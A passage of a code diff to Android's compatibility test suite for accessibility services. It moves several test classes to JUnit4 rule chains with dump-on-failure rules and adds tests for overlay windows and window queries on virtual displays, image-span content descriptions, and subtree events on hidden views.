}
- private AccessibilityWindowInfo findOverlayWindow() {
- List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
- for (int i = 0; i < windows.size(); i++) {
- AccessibilityWindowInfo window = windows.get(i);
- if (window.getType() == AccessibilityWindowInfo.TYPE_ACCESSIBILITY_OVERLAY) {
- return window;
+ @Test
+ public void testA11yServiceShowsOverlayOnVirtualDisplay_shouldAppear() throws Exception {
+ try (DisplayUtils.VirtualDisplaySession displaySession =
+ new DisplayUtils.VirtualDisplaySession()) {
+ Display newDisplay = displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+ mService, false);
+ final int displayId = newDisplay.getDisplayId();
+ final Context newDisplayContext = mService.createDisplayContext(newDisplay);
+ final String overlayTitle = "Overlay title on virtualDisplay";
+
+ sUiAutomation.executeAndWaitForEvent(() -> mService.runOnServiceSync(() -> {
+ addOverlayWindow(newDisplayContext, overlayTitle);
+ }), (event) -> findOverlayWindow(displayId) != null, AsyncUtils.DEFAULT_TIMEOUT_MS);
+
+ assertTrue(TextUtils.equals(findOverlayWindow(displayId).getTitle(), overlayTitle));
+ }
+ }
+
+ private void addOverlayWindow(Context context, String overlayTitle) {
+ final Button button = new Button(context);
+ button.setText("Button");
+ final WindowManager.LayoutParams params = new WindowManager.LayoutParams();
+ params.width = WindowManager.LayoutParams.MATCH_PARENT;
+ params.height = WindowManager.LayoutParams.MATCH_PARENT;
+ params.flags = WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN
+ | WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR;
+ params.type = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
+ params.setTitle(overlayTitle);
+ context.getSystemService(WindowManager.class).addView(button, params);
+ }
+
+ private AccessibilityWindowInfo findOverlayWindow(int displayId) {
+ final SparseArray<List<AccessibilityWindowInfo>> allWindows =
+ sUiAutomation.getWindowsOnAllDisplays();
+ final int index = allWindows.indexOfKey(displayId);
+ final List<AccessibilityWindowInfo> windows = allWindows.valueAt(index);
+ if (windows != null) {
+ for (AccessibilityWindowInfo window : windows) {
+ if (window.getType() == AccessibilityWindowInfo.TYPE_ACCESSIBILITY_OVERLAY) {
+ return window;
+ }
}
}
return null;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
index 959f315..d8b613f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityPaneTest.java
@@ -28,6 +28,7 @@
import static org.hamcrest.Matchers.both;
import static org.junit.Assert.assertEquals;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibilityservice.cts.activities.AccessibilityEndToEndActivity;
import android.app.Activity;
import android.app.Instrumentation;
@@ -45,6 +46,7 @@
import org.junit.BeforeClass;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
/**
@@ -58,10 +60,17 @@
private Activity mActivity;
private View mPaneView;
- @Rule
- public ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
+ private ActivityTestRule<AccessibilityEndToEndActivity> mActivityRule =
new ActivityTestRule<>(AccessibilityEndToEndActivity.class, false, false);
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mDumpOnFailureRule);
+
@BeforeClass
public static void oneTimeSetup() throws Exception {
sInstrumentation = InstrumentationRegistry.getInstrumentation();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
index 67626fe..01d1659 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
@@ -16,20 +16,35 @@
package android.accessibilityservice.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.os.Parcel;
import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
import android.view.accessibility.AccessibilityEvent;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
/**
* Class for testing {@link AccessibilityServiceInfo}.
*/
@Presubmit
-public class AccessibilityServiceInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityServiceInfoTest {
+
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
@MediumTest
+ @Test
public void testMarshalling() throws Exception {
// fully populate the service info to marshal
@@ -51,6 +66,7 @@
* Tests whether the service info describes its contents consistently.
*/
@MediumTest
+ @Test
public void testDescribeContents() {
AccessibilityServiceInfo info = new AccessibilityServiceInfo();
assertSame("Accessibility service info always return 0 for this method.", 0,
@@ -64,6 +80,7 @@
* Tests whether a feedback type is correctly transformed to a string.
*/
@MediumTest
+ @Test
public void testFeedbackTypeToString() {
assertEquals("[FEEDBACK_AUDIBLE]", AccessibilityServiceInfo.feedbackTypeToString(
AccessibilityServiceInfo.FEEDBACK_AUDIBLE));
@@ -87,6 +104,7 @@
* Tests whether a flag is correctly transformed to a string.
*/
@MediumTest
+ @Test
public void testFlagToString() {
assertEquals("DEFAULT", AccessibilityServiceInfo.flagToString(
AccessibilityServiceInfo.DEFAULT));
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
index f01251a..3199dc6 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
@@ -16,15 +16,25 @@
package android.accessibilityservice.cts;
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
import android.provider.Settings;
-import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.List;
/**
@@ -32,12 +42,18 @@
* accessibility settings has an activity that handles it.
*/
@Presubmit
-public class AccessibilitySettingsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilitySettingsTest {
+
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
@MediumTest
@AppModeFull
+ @Test
public void testAccessibilitySettingsIntentHandled() throws Throwable {
- PackageManager packageManager = mContext.getPackageManager();
+ PackageManager packageManager = getContext().getPackageManager();
Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
List<ResolveInfo> resolvedActivities = packageManager.queryIntentActivities(intent,
PackageManager.MATCH_DEFAULT_ONLY);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
index 8bb1bfb..0afa1fd 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
@@ -13,30 +13,32 @@
*/
package android.accessibilityservice.cts;
+
+import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
import static android.accessibilityservice.AccessibilityService.SHOW_MODE_AUTO;
import static android.accessibilityservice.AccessibilityService.SHOW_MODE_HIDDEN;
import static android.accessibilityservice.AccessibilityService.SHOW_MODE_IGNORE_HARD_KEYBOARD;
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
import android.accessibilityservice.AccessibilityService.SoftKeyboardController;
import android.accessibilityservice.AccessibilityService.SoftKeyboardController.OnShowModeChangedListener;
import android.accessibilityservice.cts.activities.AccessibilityTestActivity;
import android.accessibilityservice.cts.utils.AsyncUtils;
-import android.app.Instrumentation;
import android.os.Bundle;
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
-import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-import org.junit.After;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
/**
@@ -47,7 +49,6 @@
public class AccessibilitySoftKeyboardModesTest {
private int mLastCallbackValue;
- private final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
private InstrumentedAccessibilityService mService;
private final Object mLock = new Object();
private final OnShowModeChangedListener mListener = (c, showMode) -> {
@@ -57,17 +58,21 @@
}
};
+ private InstrumentedAccessibilityServiceTestRule<InstrumentedAccessibilityService>
+ mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ InstrumentedAccessibilityService.class);
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mServiceRule)
+ .around(mDumpOnFailureRule);
@Before
- public void setUp() throws Exception {
- mService = InstrumentedAccessibilityService.enableService(mInstrumentation,
- InstrumentedAccessibilityService.class);
- }
-
- @After
- public void tearDown() throws Exception {
- runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelf));
+ public void setUp() {
+ mService = mServiceRule.getService();
}
@Test
@@ -95,7 +100,7 @@
assertEquals(SHOW_MODE_AUTO, controller.getShowMode());
final InstrumentedAccessibilityService secondService =
- StubAccessibilityButtonService.enableSelf(mInstrumentation);
+ enableService(StubAccessibilityButtonService.class);
try {
// Listen on the first service
controller.addOnShowModeChangedListener(mListener);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
index e89b4dd..3d013cb 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
@@ -30,10 +30,11 @@
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
-import android.accessibilityservice.cts.R;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibilityservice.cts.activities.AccessibilityTextTraversalActivity;
import android.app.Instrumentation;
import android.app.UiAutomation;
+import android.graphics.Bitmap;
import android.graphics.RectF;
import android.os.Bundle;
import android.os.Message;
@@ -42,6 +43,8 @@
import android.text.Spanned;
import android.text.TextUtils;
import android.text.style.ClickableSpan;
+import android.text.style.ImageSpan;
+import android.text.style.ReplacementSpan;
import android.text.style.URLSpan;
import android.view.View;
import android.view.accessibility.AccessibilityManager;
@@ -60,6 +63,7 @@
import org.junit.BeforeClass;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import java.util.Arrays;
@@ -76,14 +80,20 @@
private static UiAutomation sUiAutomation;
final Object mClickableSpanCallbackLock = new Object();
final AtomicBoolean mClickableSpanCalled = new AtomicBoolean(false);
-
private AccessibilityTextTraversalActivity mActivity;
- @Rule
- public ActivityTestRule<AccessibilityTextTraversalActivity> mActivityRule =
+ private ActivityTestRule<AccessibilityTextTraversalActivity> mActivityRule =
new ActivityTestRule<>(AccessibilityTextTraversalActivity.class, false, false);
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mDumpOnFailureRule);
+
@BeforeClass
public static void oneTimeSetup() throws Exception {
sInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -228,6 +238,25 @@
}
@Test
+ public void testImageSpan_accessibilityServiceShouldSeeContentDescription() {
+ final TextView textView = (TextView) mActivity.findViewById(R.id.text);
+ final Bitmap bitmap = Bitmap.createBitmap(/* width= */10, /* height= */10,
+ Bitmap.Config.ARGB_8888);
+ final ImageSpan imageSpan = new ImageSpan(mActivity, bitmap);
+ final String contentDescription = mActivity.getString(R.string.contentDescription);
+ imageSpan.setContentDescription(contentDescription);
+ final SpannableString textWithImageSpan =
+ new SpannableString(mActivity.getString(R.string.a_b));
+ textWithImageSpan.setSpan(imageSpan, /* start= */0, /* end= */1, /* flags= */0);
+ makeTextViewVisibleAndSetText(textView, textWithImageSpan);
+
+ ReplacementSpan replacementSpanFromA11y = findSingleSpanInViewWithText(R.string.a_b,
+ ReplacementSpan.class);
+
+ assertEquals(contentDescription, replacementSpanFromA11y.getContentDescription());
+ }
+
+ @Test
public void testTextLocations_textViewShouldProvideWhenRequested() {
final TextView textView = (TextView) mActivity.findViewById(R.id.text);
// Use text with a strong s, since that gets replaced with a double s for all caps.
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
index 75eda1d..17acc3b 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
@@ -23,7 +23,7 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
-import android.accessibilityservice.cts.R;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibilityservice.cts.activities.AccessibilityTextTraversalActivity;
import android.app.Instrumentation;
import android.app.UiAutomation;
@@ -47,6 +47,7 @@
import org.junit.BeforeClass;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
/**
@@ -64,10 +65,17 @@
private AccessibilityTextTraversalActivity mActivity;
- @Rule
- public ActivityTestRule<AccessibilityTextTraversalActivity> mActivityRule =
+ private ActivityTestRule<AccessibilityTextTraversalActivity> mActivityRule =
new ActivityTestRule<>(AccessibilityTextTraversalActivity.class, false, false);
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mDumpOnFailureRule);
+
@BeforeClass
public static void oneTimeSetup() throws Exception {
sInstrumentation = InstrumentationRegistry.getInstrumentation();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
index 28a3acd..0ca307a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
@@ -14,8 +14,7 @@
package android.accessibilityservice.cts;
-import static android.accessibilityservice.cts.utils.ActivityLaunchUtils
- .launchActivityAndWaitForItToBeOnscreen;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
@@ -23,15 +22,12 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibilityservice.AccessibilityServiceInfo;
-import android.accessibilityservice.cts.R;
import android.accessibilityservice.cts.activities.AccessibilityViewTreeReportingActivity;
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.Context;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.View;
import android.view.ViewGroup;
@@ -40,11 +36,16 @@
import android.widget.Button;
import android.widget.LinearLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
/**
@@ -61,10 +62,17 @@
private AccessibilityViewTreeReportingActivity mActivity;
- @Rule
- public ActivityTestRule<AccessibilityViewTreeReportingActivity> mActivityRule =
+ private ActivityTestRule<AccessibilityViewTreeReportingActivity> mActivityRule =
new ActivityTestRule<>(AccessibilityViewTreeReportingActivity.class, false, false);
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mDumpOnFailureRule);
+
@BeforeClass
public static void oneTimeSetup() throws Exception {
sInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -309,6 +317,44 @@
assertTrue(awaitedEvent.getSource().isImportantForAccessibility());
}
+
+ @Test
+ public void testHideView_receiveSubtreeEvent() throws Throwable {
+ final View view = mActivity.findViewById(R.id.secondButton);
+ AccessibilityEvent awaitedEvent =
+ sUiAutomation.executeAndWaitForEvent(
+ () -> mActivity.runOnUiThread(() -> view.setVisibility(View.GONE)),
+ (event) -> {
+ boolean isContentChanged = event.getEventType()
+ == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
+ int isSubTree = (event.getContentChangeTypes()
+ & AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE);
+ boolean isFromThisPackage = TextUtils.equals(event.getPackageName(),
+ mActivity.getPackageName());
+ return isContentChanged && (isSubTree != 0) && isFromThisPackage;
+ }, TIMEOUT_ASYNC_PROCESSING);
+ awaitedEvent.recycle();
+ }
+
+ @Test
+ public void testUnhideView_receiveSubtreeEvent() throws Throwable {
+ final View view = mActivity.findViewById(R.id.hiddenButton);
+ AccessibilityEvent awaitedEvent =
+ sUiAutomation.executeAndWaitForEvent(
+ () -> mActivity.runOnUiThread(() -> view.setVisibility(View.VISIBLE)),
+ (event) -> {
+ boolean isContentChanged = event.getEventType()
+ == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
+ int isSubTree = (event.getContentChangeTypes()
+ & AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE);
+ boolean isFromThisPackage = TextUtils.equals(event.getPackageName(),
+ mActivity.getPackageName());
+ return isContentChanged && (isSubTree != 0) && isFromThisPackage;
+ }, TIMEOUT_ASYNC_PROCESSING);
+ awaitedEvent.recycle();
+ }
+
+
private void setGetNonImportantViews(boolean getNonImportantViews) {
AccessibilityServiceInfo serviceInfo = sUiAutomation.getServiceInfo();
serviceInfo.flags &= ~AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
index 16e0b68..3cf9c49 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -17,7 +17,9 @@
import static org.junit.Assert.assertEquals;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.app.Instrumentation;
import android.content.pm.PackageManager;
import android.media.AudioManager;
@@ -28,7 +30,9 @@
import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
/**
@@ -43,6 +47,18 @@
// If a11y volume is stuck at a single value, don't run the tests
boolean mFixedA11yVolume;
+ private InstrumentedAccessibilityServiceTestRule<InstrumentedAccessibilityService>
+ mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ InstrumentedAccessibilityService.class, false);
+
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mServiceRule)
+ .around(mDumpOnFailureRule);
+
@Before
public void setUp() {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -83,20 +99,13 @@
final int MIN = mAudioManager.getStreamMinVolume(AudioManager.STREAM_ACCESSIBILITY);
final int MAX = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_ACCESSIBILITY);
final int otherVolume = (startingVolume == MIN) ? MAX : MIN;
- final InstrumentedAccessibilityService service = InstrumentedAccessibilityService
- .enableService(mInstrumentation, InstrumentedAccessibilityService.class);
- try {
- service.runOnServiceSync(() ->
- mAudioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, otherVolume,
- 0));
- assertEquals("Accessibility service should be able to change accessibility volume",
- otherVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
- service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
- AudioManager.STREAM_ACCESSIBILITY, startingVolume, 0));
- } finally {
- if (service != null) {
- service.runOnServiceSync(() -> service.disableSelf());
- }
- }
+ final InstrumentedAccessibilityService service = mServiceRule.enableService();
+
+ service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
+ AudioManager.STREAM_ACCESSIBILITY, otherVolume, 0));
+ assertEquals("Accessibility service should be able to change accessibility volume",
+ otherVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
+ service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
+ AudioManager.STREAM_ACCESSIBILITY, startingVolume, 0));
}
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
old mode 100755
new mode 100644
index f1fca9f..b37358f
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -17,10 +17,13 @@
package android.accessibilityservice.cts;
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventType;
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangTypesAndWindowId;
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangedWithChangeTypes;
import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen;
import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
import static android.accessibilityservice.cts.utils.DisplayUtils.getStatusBarHeight;
+import static android.accessibilityservice.cts.utils.DisplayUtils.VirtualDisplaySession;
import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED;
import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
@@ -48,10 +51,11 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
-import android.accessibilityservice.cts.activities.AccessibilityEndToEndActivity;
import android.accessibilityservice.cts.activities.AccessibilityWindowQueryActivity;
+import android.app.Activity;
import android.app.ActivityTaskManager;
import android.app.Instrumentation;
import android.app.UiAutomation;
@@ -59,8 +63,11 @@
import android.content.pm.PackageManager;
import android.content.res.Resources;
import android.graphics.Rect;
+import android.os.Bundle;
import android.platform.test.annotations.AppModeFull;
import android.test.suitebuilder.annotation.MediumTest;
+import android.util.SparseArray;
+import android.view.Display;
import android.view.Gravity;
import android.view.View;
import android.view.WindowManager;
@@ -81,6 +88,7 @@
import org.junit.BeforeClass;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import java.util.ArrayList;
@@ -108,14 +116,18 @@
private static UiAutomation sUiAutomation;
private AccessibilityWindowQueryActivity mActivity;
+ private Activity mActivityOnVirtualDisplay;
- @Rule
- public ActivityTestRule<AccessibilityWindowQueryActivity> mActivityRule =
+ private ActivityTestRule<AccessibilityWindowQueryActivity> mActivityRule =
new ActivityTestRule<>(AccessibilityWindowQueryActivity.class, false, false);
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
@Rule
- public ActivityTestRule<AccessibilityEndToEndActivity> mEndToEndActivityRule =
- new ActivityTestRule<>(AccessibilityEndToEndActivity.class, false, false);
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mDumpOnFailureRule);
@BeforeClass
public static void oneTimeSetup() throws Exception {
@@ -313,7 +325,7 @@
try {
// Add two more windows.
final View views[];
- views = addTwoAppPanelWindows();
+ views = addTwoAppPanelWindows(mActivity);
try {
// Put accessibility focus in the first app window.
@@ -611,7 +623,7 @@
@Test
public void testGetWindows_resultIsSortedByLayerDescending() throws TimeoutException {
- addTwoAppPanelWindows();
+ addTwoAppPanelWindows(mActivity);
List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
AccessibilityWindowInfo windowAddedFirst = findWindow(windows, R.string.button1);
@@ -621,11 +633,67 @@
assertThat(windows, new IsSortedBy<>(w -> w.getLayer(), /* ascending */ false));
}
+ @Test
+ public void testGetWindowsOnAllDisplays_resultIsSortedByLayerDescending() throws Exception {
+ addTwoAppPanelWindows(mActivity);
+ // Creates a virtual display.
+ try (final VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
+ final int virtualDisplayId =
+ displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+ sInstrumentation.getContext(), false).getDisplayId();
+ // Launches an activity on virtual display.
+ mActivityOnVirtualDisplay = launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(
+ sInstrumentation, sUiAutomation,
+ AccessibilityEmbeddedDisplayTest.EmbeddedDisplayActivity.class,
+ virtualDisplayId);
+ // Adds two app panel windows on activity of virtual display.
+ addTwoAppPanelWindows(mActivityOnVirtualDisplay);
+
+ // Gets all windows.
+ SparseArray<List<AccessibilityWindowInfo>> allWindows =
+ sUiAutomation.getWindowsOnAllDisplays();
+ assertNotNull(allWindows);
+ assertTrue(allWindows.size() == 2);
+
+ // Gets windows on default display.
+ List<AccessibilityWindowInfo> windowsOnDefaultDisplay =
+ allWindows.get(Display.DEFAULT_DISPLAY);
+ assertNotNull(windowsOnDefaultDisplay);
+ assertTrue(windowsOnDefaultDisplay.size() > 0);
+
+ AccessibilityWindowInfo windowAddedFirst =
+ findWindow(windowsOnDefaultDisplay, R.string.button1);
+ AccessibilityWindowInfo windowAddedSecond =
+ findWindow(windowsOnDefaultDisplay, R.string.button2);
+ assertThat(windowAddedFirst.getLayer(), lessThan(windowAddedSecond.getLayer()));
+ assertThat(windowsOnDefaultDisplay,
+ new IsSortedBy<>(w -> w.getLayer(), /* ascending */ false));
+
+ // Gets windows on virtual display.
+ List<AccessibilityWindowInfo> windowsOnVirtualDisplay =
+ allWindows.get(virtualDisplayId);
+ assertNotNull(windowsOnVirtualDisplay);
+ assertTrue(windowsOnVirtualDisplay.size() > 0);
+
+ AccessibilityWindowInfo windowAddedFirstOnVirtualDisplay =
+ findWindow(windowsOnVirtualDisplay, R.string.button1);
+ AccessibilityWindowInfo windowAddedSecondOnVirtualDisplay =
+ findWindow(windowsOnVirtualDisplay, R.string.button2);
+ assertThat(windowAddedFirstOnVirtualDisplay.getLayer(),
+ lessThan(windowAddedSecondOnVirtualDisplay.getLayer()));
+ assertThat(windowsOnVirtualDisplay,
+ new IsSortedBy<>(w -> w.getLayer(), /* ascending */ false));
+
+ mActivityOnVirtualDisplay.finish();
+ }
+ }
+
private AccessibilityWindowInfo findWindow(List<AccessibilityWindowInfo> windows,
int btnTextRes) {
return windows.stream()
.filter(w -> w.getRoot()
- .findAccessibilityNodeInfosByText(mActivity.getString(btnTextRes))
+ .findAccessibilityNodeInfosByText(
+ sInstrumentation.getTargetContext().getString(btnTextRes))
.size() == 1)
.findFirst()
.get();
@@ -701,7 +769,8 @@
final AccessibilityWindowInfo finalFocusTarget = focusTarget;
sUiAutomation.executeAndWaitForEvent(() -> assertTrue(finalFocusTarget.getRoot()
.performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS)),
- filterWindowsChangedWithChangeTypes(WINDOWS_CHANGE_ACCESSIBILITY_FOCUSED),
+ filterWindowsChangTypesAndWindowId(finalFocusTarget.getId(),
